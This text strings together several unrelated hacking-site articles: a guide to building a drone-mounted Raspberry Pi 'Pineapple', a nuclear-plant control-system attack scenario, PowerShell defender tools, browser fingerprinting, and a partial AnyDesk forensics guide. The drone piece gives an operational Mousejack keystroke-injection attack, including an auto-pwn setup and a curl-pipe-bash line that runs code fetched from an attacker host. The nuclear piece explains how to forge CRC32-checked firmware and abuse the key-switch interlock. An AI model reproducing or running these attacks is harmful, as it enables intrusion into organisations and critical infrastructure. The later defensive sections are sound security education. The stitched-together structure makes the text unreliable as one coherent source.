Welcome back, aspiring drone cyberwarriors! 

We continue our series of articles on Drone Hacking. In previous parts, we discussed drones as platforms and delivery mechanisms. Now it is time to take a closer look at the attacking component itself. This is where many people misunderstand the threat. For a hacker, a drone is not a weapon. A drone is merely transportation. It is the deliverer, not the attacker. In reality, almost all wireless attacks are carried out using a small, miniature device attached to the drone. This device performs the scanning, interception, impersonation, and exploitation of wireless protocols. One such device is a Pineapple built on a Raspberry Pi, which we will show today how to build. Its compact size allows it to be mounted on almost any drone, because it is lightweight and consumes little power. In fact, this same device does not even require a drone at all. It can be used independently. A hacker can quietly plant such a device near a target building, drop it into grass or bushes near an office, or hide it in everyday infrastructure. OTW has already explained how it was done in Mr.Robot

Many readers will remember the scene from the TV series where a Raspberry Pi is hidden inside a thermostat. That scene is not science fiction. It is a very realistic example of how such hardware can be deployed. In a separate article we will show you how our device operates when used independently without a drone.

Raspberry Pi Pineapple

Now, let’s talk about our new device. The total weight of the homemade Pineapple together with its battery ranges from only 17 to 43 grams, depending on the battery used. Modern consumer drones are designed with power reserves to compensate for wind and to carry accessories such as action cameras. As a result, they can typically lift between one-third and one-half of their own weight without a noticeable loss of flight performance.

This means that almost any drone, including very small selfie drones, can easily handle such a payload. This is a significant advantage compared to the bulky, ready-made Pineapple device from Hak5. Not every drone can lift that commercial unit. From an attacker’s perspective, speed is often the most important requirement when planning drone-based attacks. Fast deployment, short exposure time, and rapid exit are key.

In a separate article dedicated specifically to the Pineapple platform, we will examine static attacks on wireless networks. These are attacks where long-term presence at a fixed point is required. When a drone is involved, however, it makes far more sense to perform dynamic attacks. Wireless attacks are highly dependent on circumstances, such as whether client devices are present and active at a given moment. Because of this, the duration of exposure directly affects the probability of success. From a practical standpoint, the choice is obvious. If the device is lost, the hacker simply purchases another Raspberry Pi and flashes a prepared image onto a memory card. There is no need to buy a costly ready-made solution and wait for delivery. 

The Raspberry Pi, like most other single-board computers, can operate at reduced voltage, which makes it possible to use popular compact 3.7 V batteries. Such batteries are cheaper and smaller than power banks and can be easily purchased online. They are charged with 5 V, which can be taken from any USB port. However, despite the fact that the Raspberry Pi can operate at 3.3 V, external USB devices do not receive the 5 V promised by the USB standard in this case. Therefore, if such external USB devices are planned to be used, the voltage must still be raised to 5 V using the popular DC-DC MT3608 module (the blue module on top).

A 3.7 V battery, located at the bottom, supplies 5 V to GPIO pins 2 and 9 through the MT3608 DC-DC boost converter. An external Micro-USB connector is also soldered to the converter for convenient battery charging, along with a power toggle switch for battery supply. Nevertheless, the Raspberry Pi has two native USB ports, which means there is always the option to use a regular power bank. The wiring diagram for LEDs, switches, and power connections is shown below.

Using a display can be wasteful in terms of battery consumption, so it is better to use three LEDs to indicate the process. To automatically start predefined scenarios, six jumper positions are used. Their software handling is described below. Two voltage supply points are also provided: 5 volts and 3.3 volts. Pins 8 and 10 serve an additional purpose. Using a UART adapter, an operator can always open a shell on the Pineapple device for debugging or control.

Now we arrive at one of the most important components. It’s the Wi-Fi adapter. Monitor mode is not available out of the box on the Raspberry Pi’s built-in Wi-Fi card. It can be enabled using special firmware, but this requires building and installing a new kernel.

Pi > wget -O re4son-kernel_current.tar.xz https://re4son-kernel.com/download/re4son-kernel-current/
Pi > tar -xJf re4son-kernel_current.tar.xz
Pi > cd re4son-kernel_4*
Pi > sudo ./install.sh

After installation, an additional firmware file for the Wi-Fi chip appears. This file enables monitor mode functionality.

Pi > md5sum /lib/firmware/brcm/brcmfmac43430-sdio.*

bae7f1ba1b64cb19bb0c5433a3940405 /lib/firmware/brcm/brcmfmac43430-sdio.bin.monitor
54f6af2776997cb1ee06edf2b93ab815 /lib/firmware/brcm/brcmfmac43430-sdio.bin.original

To switch between firmware versions, the driver can be reloaded and the firmware file renamed.

Pi > iw phy0 interface add mon0 type monitor
Pi > ifconfig mon0 up
Pi > airodump-ng mon0

At this point, the device can autonomously perform many of the most common Wi-Fi attacks. If necessary, external Wi-Fi adapters and directional antennas can be used, although this reduces stealth and increases detectability. 

Because this configuration may shut down improperly when the battery is depleted, it is recommended to disable disk caching to prevent data loss.

/etc/fstab
PARTUUID=067e19d7-02 / ext4 defaults,noatime,sync 0 1

In some scenarios, the hacker needs attacks to start immediately upon power-up. This is achieved using GPIO jumpers. Jumper positions are read in software using the following script.

/etc/local/bin/jmp

#!/bin/bash
exit $(raspi-gpio get $1 | awk '{print $3}' | cut -d '=' -f )

By setting a jumper position before powering on the device, the hacker selects which attack scenario to launch, such as an Evil Twin or mass deauthentication and handshake capture. The logic for this selection is implemented in the startup script.

A startup.sh file is created in /home/pi

You can find this script on our GitHub

Then you need to add the following entry to /etc/rc.local:

/bin/bash /home/pi/startup.sh &

This will launch the script automatically. Attack progress and results are stored on the device’s memory card. Filenames reflect the attack type, date, and time. With the platform established, we now move on to the first most critical attacks that can be carried out using a drone.

Mousejack

There is a widespread vulnerability that has persisted for decades in hundreds of thousands of wireless mice and keyboards. It gives you a remote code execution in one to two seconds. Quite a cinematic scene. This vulnerability is known as Mousejack. An attack on wireless HID devices is perhaps the most visually striking and dangerous attack possible. With minimal effort and no user interaction, a hacker can remotely send arbitrary keystrokes. This means arbitrary code execution. No password guessing. No social engineering. Instant RCE. Below is the part of our startup.sh code that starts this attack.

The attack is performed using a CrazyRadio PA device in combination with a single-board computer such as a Raspberry Pi or a Pineapple. If the CrazyRadio PA dongle is inserted into the Pineapple, the attack can be launched automatically at startup, once you add mousejack.sh to the mousejack directory. We have it here. You will also need to install jackit, which you can find here

Because we don’t know the addresses of target devices, we attack everything detected in the radio spectrum. This is why the –autopwn flag is used. Combined with a Pineapple, CrazyRadio becomes an extremely dangerous tool.

A drone carrying such a device can breach the perimeter of almost any organization. While flying, it attacks all vulnerable devices within range. Mousejack exploitation is similar to BadUSB-HID attacks. Here we encounter the same problems when typing commands: when using keystrokes, we have to guess the keyboard layout. Also, when using ALT codes to type commands (possible only on Windows), we have to guess the state of the Num Lock key. In both cases, to be reliable, we have to send the keystrokes twice, changing either the layout or the Num Lock state. But in the case of ALT codes, three to four times more keystrokes are required. And if there is no difference in outcome, why transmit more? It is more rational here to use the simple method of sending direct key presses rather than their codes. That’s why ducky.txt is used

Find it and place it in /home/pi/mousejack/. Depending on your language preferences, you might need to modify the file.

Longer commands increase the chance of interference. A single dropped keystroke can break the exploit. On Unix-like systems, hackers often rely on short commands such as:

curl -L http://rce.attacker.tk/1.sh | bash

At this stage, success depends only on drone positioning and the presence of wireless mice within a radius of approximately 10-15 meters. This attack looks exactly like it does in movies. Imagine working in a secure building, far from checkpoints, when a drone briefly appears outside a window. In a single second, malicious code is executed on your computer. You may never associate that moment with the compromise.

Wireless mice and keyboards are especially common among IT staff and executives, making such attacks disproportionately valuable. Once a single internal machine is compromised, the perimeter is breached.

Even when direct internet access is blocked, DNS-based exfiltration often remains possible. DNS can be used to download payloads and maintain command-and-control channels. Implementing the download of a malicious program over DNS can be done using basic tools of any operating system. For example, on Windows, the most portable method is a VBS script written in a full-fledged interpreted programming language. However, the length of the command entered into the “Run” window is limited, and to type a VBS script that downloads a remote administration tool over DNS, the hacker will need at least three commands. For this you will need a file that you can find here

When these commands are executed, three DNS callbacks should arrive at the hacker’s server, indicating that the commands were entered successfully.

Summary

This is only our first example that demonstrates how easily organizations can be compromised if you find the right computer. If you plan to use it, do it responsibly. Despite being known since 2016, Mousejack remains widespread and underestimated. Because it is a hardware flaw, it persists for years. People replace phones frequently, but they rarely replace their mice. 

In Part 4 you will see more of these attacks and the needed scripts for them.

For those of you getting started with Software-Defined Radio (SDR) or looking to advance your SDR hacking skills, we offer a structured training program that guides you from the fundamentals of SDR all the way to advanced, real-world applications in cybersecurity and signals intelligence.

Welcome back, aspiring cyberwarriors.

Imagine the following scene. Evening. You are casually scrolling through eBay. Among the usual clutter of obsolete electronics and forgotten hardware, something unusual appears. It’s heavy industrial modules, clearly not meant for hobbyists. On the circuit boards you recognize familiar names: Siemens. AREVA. The listing description is brief, technical, and written by someone who knows what they are selling. The price, however, is unexpectedly low.

What you are looking at are components of the Teleperm XS system. This is a digital control platform used in nuclear power plants. Right now, this class of equipment is part of the safety backbone of reactors operating around the world. One independent security researcher, Rubén Santamarta, noticed the same thing and decided to investigate. His work over two decades has covered everything from satellite communications to industrial control systems, and this discovery raised a question: what happens if someone gains access to the digital “brain” of a nuclear reactor? From that question emerged a modeled scenario sometimes referred to as “Cyber Three Mile Island,” which is a theoretical chain of events that, under ideal attacker conditions, leads to reactor core damage in under an hour.

We will walk through that scenario to help you understand these systems.

Giant Containers

To understand how a nuclear reactor could be attacked digitally, we first need to understand how it operates physically. There is no need to dive into advanced nuclear physics. A few core concepts and some practical analogies will take us far enough.

Three Loops

At its heart, a pressurized water reactor (PWR) is an extremely sophisticated and very expensive boiler. In simplified form, it consists of three interconnected loops.

The first loop is the reactor itself. Inside a thick steel vessel sit fuel assemblies made of uranium dioxide pellets. This is where nuclear fission occurs, releasing enormous amounts of heat. Water circulates through this core, heating up to around 330°C. To prevent boiling, it is kept under immense pressure (about 155 atmospheres). This water becomes radioactive and never leaves the sealed primary circuit.

The second loop exists to convert that heat into useful work. The hot water from the primary loop passes through a steam generator, a massive heat exchanger. Without mixing, it transfers heat to a separate body of water, turning it into steam. This steam is not radioactive. It flows to turbines, spins them, drives generators, and produces electricity.

Finally, the third loop handles cooling. After passing through the turbines, the steam must be condensed back into water. This is done using water drawn from rivers, lakes, or the sea, often via cooling towers. This loop never comes into contact with radioactive materials.

With this structure in mind, we can now discuss what separates a reactor from a nuclear bomb. It’s control.

Reactivity

If a car accelerates when you press the gas pedal, a reactor accelerates when more neutrons are available. This is expressed through the multiplication factor, k. When k is greater than 1, power increases. When it is less than 1, the reaction slows. When k equals exactly 1, the reactor is stable, producing constant power.

Most neutrons from fission are released instantly, far too fast for any mechanical or digital system to respond. Fortunately, about 0.7% are delayed, appearing seconds or minutes later. That tiny fraction makes controlled nuclear power possible.

There is also a built-in safety mechanism rooted in physics itself. It’s called the Doppler effect. As fuel heats up, uranium-238 absorbs more neutrons, naturally slowing the reaction. This cannot be disabled by software or configuration. It is the reactor’s ultimate brake, supported by multiple engineered systems layered on top.

Nuclear Reactor Protection

Reactor safety follows a defense-in-depth philosophy, much like a medieval fortress. The fuel pellet itself retains many fission products. Fuel rod cladding adds another barrier. The reactor vessel is the next wall, followed by the reinforced concrete containment structure, often over a meter thick and designed to withstand extreme impacts. Finally, there are active safety systems and trained operators. The design prevents a single failure from leading to a catastrophe. For a disaster to occur, multiple independent layers must fail in sequence.

From a cybersecurity perspective, attention naturally turns to safety systems and operator interfaces. Sensors feed data into controllers, controllers apply voting logic, and actuators carry out physical actions. When parameters drift out of range, the system shuts the reactor down and initiates cooling. Human operators then follow procedures to stabilize the plant. It is an architecture designed to fail safely. That is precisely why understanding its digital foundations matters.

Teleperm XS: Anatomy of The Nuclear “Brains”

The Teleperm XS (TXS) platform, developed by Framatome, is a modular digital safety system used in many reactors worldwide. Its architecture is divided into functional units. Acquisition and Processing Units (APUs) collect sensor data, like temperature, pressure, neutron flux. Actuation Logic Units (ALUs) receive this data from multiple channels and decide when to trigger actions such as inserting control rods or starting emergency pumps.

The Monitoring and Service Interface (MSI) bridges two worlds. On one side is the isolated safety network using Profibus. On the other is a conventional local area network used by engineers.

The Service Unit (SU) is a standard computer running SUSE Linux. It is used for diagnostics, configuration, testing, and firmware updates. Critically, it is the only system allowed to communicate bidirectionally with the safety network through the MSI. TXS uses custom processors like the SVE2 and communication modules such as the SCP3, but it also relies on commercial components, such as Hirschmann switches, single-board computers, and standard Ethernet.

This hybrid design improves maintainability and longevity, but it also expands the potential attack surface. Widely used components are well documented, available, and easier to study outside a plant environment.

Hunting For Holes

Any attacker would be happy to compromise the Service Unit, since it provides access to the APU and ALU controllers, which directly control the physical processes in the reactor. However, on the way to this goal, you still have to overcome several barriers.

Problem 1: Empty hardware

Ruben unpacked the SVE2 and SCP3 modules, connected the programmer, and got ready to dump the firmware for reverse engineering, but a surprise was waiting for him. Unfortunately (or fortunately for the rest of the world), the devices’ memory was completely empty.

After studying the documentation, it became clear that the software is loaded into the controllers at the factory immediately before acceptance testing. The modules from eBay were apparently surplus stock and had never been programmed.

It turned out that TXS uses a simple CRC32 checksum to verify the integrity and authenticity of firmware. The problem is that CRC32 is NOT a cryptographic protection mechanism. It is merely a way to detect accidental data errors, similar to a parity check. An attacker can take a standard firmware image, inject malicious code into it, and then adjust a few bytes in the file so that the CRC32 value remains unchanged. The system will accept such firmware as authentic.

It reveals an architectural vulnerability embedded in the very design of the system. To understand it, we need to talk about the most painful issue in any security system: trust.

Problem 2: MAC address-based protection

The MSI is configured to accept commands only from a single MAC address. It’s the address of the legitimate SU. Any other computer on the same network is simply ignored. However, for an experienced hacker, spoofing (MAC address impersonation) poses no real difficulty. Such a barrier will stop only the laziest and least competent. For a serious hacking group, it is not even a speed bump, it is merely road markings on the asphalt. But there is one more obstacle called a physical key.

Problem 3: A key that is not really a key

U.S. regulatory guidance rightly insists that switching safety systems into programming mode requires physical action. A real key, a real human and a real interruption. An engineer must approach the equipment cabinet, insert a physical key, and turn it. That turn must physically break the electrical circuit, creating an air gap between the ALU and the rest of the world. Turning the key in a Teleperm XS cabinet does not directly change the system’s operating mode. It only sets a single bit (a logical one) on the discrete input board. In the system logic, this bit is called “permissive.” It signals to the processor: “Attention, the Service Unit is about to communicate with you, and it can be trusted.”

The actual command to change the mode (switching to “Test” or “Diagnostics”) arrives later over the network, from that same SU. The ALU/APU processor logic performs a simple check: “A mode-change command has arrived. Check the permissive bit. Is it set? Okay, execute.”

As a result, if malware has already been implanted in the ALU or APU, it can completely ignore this bit check. For it, the signal from the key does not exist. And if the malware resides on the SU, it only needs to wait until an engineer turns the key for routine work (such as sensor calibration) and use that moment to do its dirty work.

The lock becomes a trigger.

Summary

Part 1 establishes the foundation by explaining how nuclear power plants operate, how safety is enforced through layered engineering and physical principles, and also how digital control systems support these protections. By looking at reactor control logic, trust assumptions in safety architectures, and the realities of legacy industrial design, it becomes clear that cybersecurity risk comes not from a single vulnerability, but from the interaction of multiple small decisions over time. These elements on their own do not cause failure, but they shape an environment in which trust can be misused.

In Part 2, we shift our focus from structure to behavior. We will actively model a realistic cyber-physical attack and simulate how it unfolds in practice, tracing the entire sequence from an initial digital compromise.

Welcome back, aspiring DFIR defenders!

Welcome to the start of a new series dedicated to PowerShell for Defenders.

Many of you already know PowerShell as a tool of hackers. In our earlier PowerShell for Hackers series, we demonstrated just how much damage a skilled hacker can cause with it by taking over the entire organization with just one terminal window. In this new series, we flip the perspective. We are going to learn how to use it properly as defenders. There is far more to PowerShell than automation scripts and administrative shortcuts. For blue team operations, incident response, and digital forensics, PowerShell can become one of your most effective investigative instruments. It allows you to quickly process logs, extract indicators of compromise, and make sense of attacker behavior without waiting for heavy platforms.

Today, we will go through two PowerShell-based tools that are especially useful in defensive operations. The first one is DeepBlueCLI, developed by SANS, which helps defenders quickly analyze Windows event logs and highlight suspicious behavior. The second tool is WELA, a PowerShell script created by Yamato Security. WELA focuses on auditing and hardening Windows systems based on predefined security baselines. While both tools are PowerShell scripts, they serve different but complementary purposes. One helps you understand what already happened. The other helps you reduce the chance of it happening again.

DeepBlueCLI

DeepBlueCLI is a PowerShell-based tool created to help defenders quickly identify suspicious behavior in Windows event logs. Its strength lies in simplicity. You do not need complex configurations, long rule files, or a deep understanding of Windows internals to get started. DeepBlueCLI takes common attack patterns and maps them directly to event log indicators, presenting the results in a way that is easy to read and easy to act upon.

There are two main ways to use DeepBlueCLI. The first approach is by analyzing exported event logs, which is very common during incident response or post-incident forensic analysis. The second approach is live analysis, where the tool queries logs directly from the system it is running on. Both approaches are useful depending on the situation. During a live incident, quick answers matter. During forensic work, accuracy and context matter more.

A very helpful feature of DeepBlueCLI is that it comes with example event logs provided by the developer. These are intentionally crafted logs that simulate real attack scenarios, making them perfect for learning and practice. You can experiment and learn how attacker activity appears in logs. The syntax is straightforward.

Example Event Logs

In the example below, we take a sample event log provided by the developer and run DeepBlueCLI against it:

PS > .\DeepBlue.ps1 -file .\evtx\sliver-security.evtx

Sliver is a modern command-and-control framework often used by red teamers and real attackers as well. In the output of this command, we can see several interesting indicators. There is cmd.exe accessing the ADMIN$ share, which is a classic sign of lateral movement or administrative access attempts. We also see cmd.exe being launched via WMI through C:\Windows\System32\wbem\WmiPrvSE.exe. This is especially important because WMI execution is commonly used to execute commands remotely while avoiding traditional process creation patterns. Above that, we also notice cmd.exe /Q /c JOINT_BALL.exe. This executable is a Sliver payload. Sliver often generates payloads with seemingly random names.

Another example focuses on PowerShell obfuscation, which is a very common technique used to evade detection:

PS > .\DeepBlue.ps1 -file .\evtx\Powershell-Invoke-Obfuscation-many.evtx

In the results, we see very long command lines with heavily modified command names. This often looks like iNVOke variants or strange combinations of characters that still execute correctly. These commands usually pass through an obfuscation framework or an argument obfuscator, making them harder to read and harder for simple detections to catch. Occasionally, DeepBlueCLI struggles to fully decode these commands, especially when the obfuscation is layered or intentionally complex. This is not a weakness of the tool but rather a reflection of the logic behind obfuscation itself. The goal of obfuscation is to slow down defenders, and even partial visibility is already a win for us during investigation.

It is also worth mentioning that during real forensic or incident response work, you can export logs from any Windows machine and analyze them in exactly the same way. You do not need to run the tool on the compromised system itself.

Live Analysis

In some cases, speed matters more than completeness. DeepBlueCLI allows us to perform a quick live analysis by running PowerShell as an administrator and querying logs directly:

PS > .\DeepBlue.ps1 -log security

In this scenario, the tool immediately highlights suspicious behavior. For example, we can clearly see that several user accounts were subjected to brute-force attempts. One very practical feature here is that DeepBlueCLI counts the total number of failed logon attempts for us. Instead of manually filtering event IDs and correlating timestamps, we get an immediate overview that helps us decide whether further action is required.

WELA

WELA is a PowerShell script developed by Yamato Security that focuses on auditing and hardening Windows systems. Unlike DeepBlueCLI, which looks primarily at what happened in the past, WELA helps you understand the current security posture of a system and guides you toward improving it. It audits system settings against a predefined baseline and highlights areas where the configuration does not meet expected security standards. Because WELA uses advanced PowerShell techniques and low-level system queries, it is often flagged by antivirus as potentially malicious. This does not mean the script is harmful. The script is legitimate and intended for defensive use.

To begin, we can view the help menu to see what functionality the developer has included:

PS > .\WELA.ps1 help

From the available options, we can see that WELA supports auditing system settings using baselines provided by Yamato Security. This audit runs in the terminal and saves results to CSV files, which is often the preferred format for documentation and further analysis. For those who prefer a graphical interface, a GUI version is also available. Another option allows you to analyze the size of log files, either before or after configuration changes, which can be useful when tuning logging policies.

Updating Rules

Before performing any audit, it is a good idea to update the rules. For this to work smoothly, you first need to create a directory named config in the folder where the script resides:

PS > mkdir config

PS > .\WELA.ps1 update-rules

This ensures that the script has a proper location to store updated configuration data and avoids unnecessary errors.

Auditing

Once the rules are up to date, we are ready to audit the system and see where it meets the baseline and where it falls short. Many defenders prefer starting with the terminal output, as it is faster to navigate:

PS > .\WELA.ps1 audit-settings -Baseline YamatoSecurity

At this stage, the script reviews the current system settings and compares them against the selected baseline. The results clearly show which settings match expectations and which ones require attention.

The audit can be performed using the graphical interface:

PS > .\WELA.ps1 audit-settings -Baseline ASD -OutType gui

This option is particularly useful for presentations and reports. 

Check

After auditing, we can perform a focused check related to log file sizes:

PS > .\WELA.ps1 audit-filesize -Baseline YamatoSecurity

The output shows that the system is not hardened enough. This is not uncommon and should be seen as an opportunity rather than a failure. The entire purpose of this step is to identify weaknesses before a hacker does.

Hardening

Finally, we move on to hardening the system:

PS > .\WELA.ps1 configure -Baseline YamatoSecurity

This process walks you through each setting step by step, allowing you to make informed decisions about what to apply. There is also an option to apply all settings in batch mode without prompts, which can be useful during large-scale deployments.

Summary

PowerShell remains one of the most decisive tools on a modern Windows system, and that reality applies just as much to defenders as it does to attackers. In this article, you saw two PowerShell-based tools that address different stages of defensive work but ultimately support the same goal of reducing uncertainty during incidents and improving the security baseline before an attacker can exploit it.

We are also preparing dedicated PowerShell training that will be valuable for both defenders and red teamers. This training will focus on practical, real-world PowerShell usage in both offensive and defensive security operations and will be available to Subscriber and Subscriber Pro students from March 10-12.

Welcome back, aspiring forensics investigators.

In the previous article, we lifted the curtain on tracking technologies and showed how much information the internet collects from you. Many people still believe that privacy tools such as VPNs completely protect them, but as you are now learning, the story goes much deeper than that. Today we will explore what else is hiding behind the code. You will discover that even more information can be extracted from your device without your knowledge. And of course, we will also walk through ways to reduce these risks, because predictability creates patterns. Patterns can be tracked. And tracking means exposure.

Beyond Visuals

Most people assume fingerprinting is only about what you see on the screen. However, browser fingerprinting reaches far beyond the visual world. It also includes non visual methods that silently measure the way your device processes audio or stores small website assets. These methods do not rely on cookies or user logins. They do not require permission prompts. They simply observe tiny differences in system behavior and convert them into unique identifiers.

A major example is AudioContext fingerprinting. This technique creates and analyzes audio signals that you never actually hear. Instead, the browser processes the sound internally using the Web Audio API. Meanwhile favicon based tracking abuses the way browsers cache the small icons you see in your tab bar. Together, these methods help trackers identify users even if visual fingerprints are blocked or randomized. These non visual fingerprints work extremely well alongside visual ones such as Canvas and WebGL. One type of fingerprint reveals how your graphics hardware behaves. Another reveals how your audio pipeline behaves. A third records caching behavior. When all of this is combined, the tracking system becomes far more resilient. It becomes very difficult to hide, because turning off one fingerprinting technology still leaves several others running in the background.

Everything occurs invisibly behind the web page. Meanwhile your device is revealing small but deeply personal technical traits about itself. 

AudioContext Fingerprinting

AudioContext fingerprinting is built on the Web Audio API. This is a feature that exists in modern browsers to support sound generation and manipulation. Developers normally use it to create music, sound effects, and audio visualizations. Trackers, however, discovered that it can also be used to uniquely identify devices.

Here is what happens behind the scenes. A website creates an AudioContext object. Inside this context, it often generates a simple sine wave using an OscillatorNode. The signal is then passed through a DynamicsCompressorNode. This compressor highlights tiny variations in how the audio is processed. Finally, the processed audio data is read, converted into numerical form, and hashed into an identifier.

The interesting part is where the uniqueness comes from. Audio hardware varies greatly. Different manufacturers like Realtek or Intel design chips differently. Audio drivers introduce their own behavior. Operating systems handle floating point math in slightly different ways. All of these variations influence the resulting signal, even when the exact same code is used. Two computers will nearly always produce slightly different waveform results.

Only specific privacy protections can interfere with this process. Some browsers randomize or block Web Audio output to prevent fingerprinting. Others standardize the audio result across users so that everyone looks the same. But if these protections are not in place, your system will keep producing the same recognizable audio fingerprint again and again.

You can actually test this yourself. There are demo websites that implement AudioContext fingerprinting.

Favicon Supercookie Tracking

Favicons are the small images you see in your browser tabs. They appear completely harmless. However, the way browsers cache them can be abused to create a tracking mechanism. The basic idea is simple. A server assigns a unique identifier to a user and encodes that identifier into a specific pattern of favicon requests. Because favicons are cached separately from normal website data, they can act as a form of persistent storage. When the user later returns, the server instructs the browser to request a large set of possible favicons. Icons that are already present in the cache do not trigger network requests, while missing icons do. By observing which requests occur and which do not, the server can reconstruct the original identifier.

This is clever because favicon caches have traditionally been treated differently from normal browser data. Clearing cookies or browsing history often does not remove favicon cache entries. In some older browser versions, favicon cache persistence even extended across incognito sessions. 

There are limits. Trackers must maintain multiple unique icon routes, which requires server side management. Modern browsers have also taken steps to partition or isolate favicon caches per website, reducing the effectiveness of the method. Still, many legacy systems remain exposed, and clever implementations continue to find ways to abuse caching behavior.

Other Methods of Identification

Fingerprinting does not stop with visuals and audio. There are many additional identifiers that leak information about your device. Screen fingerprinting gathers details such as your screen resolution, usable workspace, color depth, pixel density, and zoom levels. These factors vary across laptops, desktops, tablets, and external monitors.

Font enumeration checks which fonts are installed on your system. This can be done by drawing hidden text elements and measuring their size. If the size changes, the font exists. The final list of available fonts can be surprisingly unique.

Speech synthesis fingerprinting queries the Web Speech API to discover which text to speech voices exist on your device. These are tied to language packs and operating system features.

The Battery Status API can reveal information about your battery capacity, charge state, and discharge behavior. This information itself is not very useful, but it helps illustrate how deep browser fingerprinting can go.

The website may also detect which Chrome plugins you use, making your anonymous identity even more traceable.

And this is still only part of the story. Browsers evolve quickly. New features create new opportunities for fingerprinting. So awareness is critical here.

Combined Threats and Defenses

When audio fingerprinting, favicon identifiers, Canvas, WebGL, and other methods are combined, they form what is often called a super fingerprint. This is a multi-layered identity constructed from many small technical signals. It becomes extremely difficult to change without replacing your entire hardware and software environment. This capability can be used for both legitimate analytics and harmful surveillance. Advertisers may track behavior across websites. Data brokers may build profiles over time. More dangerous actors may attempt to unmask users who believe they are anonymous.

Fortunately, there are tools that help reduce these risks. No defense is perfect. But layered protections can improve your privacy. For example, Tor standardizes many outputs, including audio behaviors and cache storage. But not everything, which means some things can expose you. Firefox includes settings such as privacy.resistFingerprinting that limit API details. Brave Browser randomizes or blocks fingerprinting attempts by default. Extensions such as CanvasBlocker and uBlock Origin also help reduce exposure, although they must be configured with care.

We encourage you to test your own exposure, experiment with privacy tools, and make conscious decisions about how and where you browse.

Conclusion

The key takeaway is not paranoia. Privacy tools do not eliminate fingerprinting, but defenses such as Tor, Brave, Firefox fingerprint-resistance, and well-configured extensions do reduce exposure. Understanding how non-visual fingerprints work allows you to make informed decisions instead of relying on assumptions. In modern browsing, privacy is not about hiding perfectly. It is about minimizing consistency and breaking long-term patterns.

Awareness matters. When you understand how you are being tracked, you’re far better equipped to protect your privacy.

Welcome back, aspiring digital forensics investigators!

AnyDesk first appeared around 2014 and very quickly became one of the most popular tools for legitimate remote support and system administration across the world. It is lightweight, fast, easy to deploy. Unfortunately, those same qualities also made it extremely attractive to cybercriminals and advanced persistent threat groups. Over the last several years, AnyDesk has become one of the preferred tools used by attackers to maintain persistent access to compromised systems.

Attackers abuse AnyDesk in a few different ways. Sometimes they install it directly and configure a password for unattended access. Other times, they rely on the fact that many organizations already have AnyDesk installed legitimately. All the attacker needs to do is gain access to the endpoint, change the AnyDesk password or configure a new access profile, and they now have quiet, persistent access. Because remote access tools are so commonly used by administrators, this kind of persistence often goes unnoticed for days, weeks, or even months. During that time the attacker can come and go as they please. Many organizations do not monitor this activity closely, even when they have mature security monitoring in place. We have seen companies with large infrastructures and centralized logging completely ignore AnyDesk connections. This has allowed attackers to maintain footholds across geographically distributed networks until they were ready to launch ransomware operations. When the encryption finally hits critical assets and the cryptography is strong, the damage is often permanent, unless you have the key.

We also see attackers modifying registry settings so that the accessibility button at the Windows login screen opens a command prompt with the highest privileges. This allows them to trigger privileged shells tied in with their AnyDesk session while minimizing local event log traces of normal login activity. We demonstrated similar registry hijacking concepts previously in “PowerShell for Hackers – Basics.” If you want a sense of how widespread this abuse is, look at recent cyberwarfare reporting involving Russia.

Kaspersky has documented numerous incidents where AnyDesk was routinely used by hacktivists and financially motivated groups during post-compromise operations. In the ICS-CERT reporting for Q4 2024, for example, the “Crypt Ghouls” threat actor relied on tools like Mimikatz, PingCastle, Resocks, AnyDesk, and PsExec. In Q3 2024, the “BlackJack” group made heavy use of AnyDesk, Radmin, PuTTY and tunneling with ngrok to maintain persistence across Russian government, telecom, and industrial environments. And that’s just a glimpse of it.

Although AnyDesk is not the only remote access tool available, it stands out because of its polished graphical interface and ease of use. Many system administrators genuinely like it. That means you will regularly encounter it during investigations, whether it was installed for legitimate reasons or abused by an attacker.

With that in mind, let’s look at how to perform digital forensics on a workstation that has been compromised through AnyDesk.

Investigating AnyDesk Activity During an Incident

Today we are going to focus on the types of log files that can help you determine whether there has been unauthorized access through AnyDesk. These logs can reveal the attacker’s AnyDesk ID, their chosen display name, the operating system they used, and in some cases even their IP address. Interestingly, inexperienced attackers sometimes do not realize that AnyDesk transmits the local username as the connection name, which means their personal environment name may suddenly appear on the victim system. The logs can also help you understand whether there may have been file transfers or data exfiltration.

For many incident response cases, this level of insight is already extremely valuable. On top of that, collecting these logs and ingesting them into your SIEM can help you generate alerts on suspicious activity patterns such as unexpected night-time access. Hackers prefer to work when users are asleep, so after-hours access from a remote tool should always trigger your curiosity.

Here are the log files and full paths that you will need for this analysis:

C:\Users\%username%\AppData\Roaming\AnyDesk\ad.trace
C:\Users\%username%\AppData\Roaming\AnyDesk\connection_trace.txt
C:\ProgramData\AnyDesk\ad_svc.trace
C:\ProgramData\AnyDesk\connection_trace.txt

AnyDesk can be used in two distinct ways. The first is as a portable executable. In that case, the user runs the program directly without installing it. When used this way, the logs are stored under the user’s AppData directory. The second way is to install AnyDesk as a service. Once installed, it can be configured for unattended access, meaning the attacker can log in at any time using only a password, without the local user needing to confirm the session. When AnyDesk runs as a service, you should also examine the ProgramData directory as it will contain its own trace files. The AppData folder will still hold the ad.trace file, and together these files form the basis for your investigation.

With this background in place, let’s begin our analysis.

Connection Log Timestamps

The connection_trace.txt logs are relatively readable and give you a straightforward record of successful AnyDesk connections. Here is an example with a randomized AnyDesk ID:

Incoming 2025–07–25, 12:10 User 568936153 568936153

The real AnyDesk ID has been redacted. What matters is that the log clearly shows there was a successful inbound connection on 2025–07–25 at 12:10 UTC from the AnyDesk ID listed at the end. This already confirms that remote access occurred, but we can dig deeper using the other logs.

Gathering Information About the Intruder

Now we move into the part of the investigation where we begin to understand who our attacker might be. Although names, IDs, and even operating systems can be changed by the attacker at any time, patterns still emerge. Most attackers do not constantly change their display name unless they are extremely paranoid. Even then, the timestamps do not lie. Remote logins occurring repeatedly in the middle of the night are usually a strong indicator of unauthorized access.

We will work primarily with the ad.trace and ad_svc.trace files. These logs can be noisy, as they include a lot of error messages unrelated to the successful session. A practical way to cut through the noise is to search for specific keywords. In PowerShell, that might look like this:

PS > get-content .\ad.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adtrace.log

PS > get-content .\ad_svc.trace | select-string -list 'Remote OS', 'Incoming session', 'app.prepare_task', 'anynet.relay', 'anynet.any_socket', 'files', 'text offers' | tee adsvc.log

These commands filter out only the most interesting lines and save them into new files called adtrace.log and adsvc.log, while still letting you see the results in the console. The tee command behaves this way both in Windows and Linux. This small step makes the following analysis more efficient.

IP Address

